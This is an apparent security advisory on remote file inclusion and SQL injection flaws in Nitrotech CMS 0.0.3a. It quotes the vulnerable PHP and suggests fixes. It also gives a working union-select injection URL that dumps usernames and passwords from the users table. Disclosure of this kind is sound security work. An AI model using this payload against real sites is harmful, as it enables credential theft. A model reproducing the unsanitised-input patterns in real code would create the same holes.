Name: Nitrotech 0.0.3a Multiple Remote Vulnerabilities
Author: Osirys, thanks to x0r
Nitrotech cms is vulnerable to multiple vulnerabilities, like remote file inclusion and sql injection.
#### Remote File Inclusion Vulnerability
The first bug, the remote file inclusion, is caused becouse of an include of a non declarated variable.
Let's see the code.
$SID = session_id();
include($root . "config.php");
# OTHER CODE
As we can see, it's included a non declareted variable -> $root.
To fix this bug, we could just define this variable.
#### Sql Injection Vulnerability
Note: In the source there could be other sql injection, just found them by yourself if you are intersted !
This vulnerability is caused becouse of a direct use in a query of a get variable. To avoid this vulnerability
we could filtered the variable, for example with an int().
if($page_mode == 'view_user')
$query1 = "SELECT * FROM " . $table['users'] . " WHERE id = '" . $_GET['id'] . "'";
$result1 = mysql_query($query1);
# OTHER CODE
http://localhost/[path]/members.php?id=' union all select 1,concat_ws(0x3a3a,id,username,0x3a3a,password),3,4,5,6,7,8,9,10,11,12 from nitrotech_users/*&mode=view_user&
As we can see, The 'id' variable comes directly from get. So we can inject our hell code.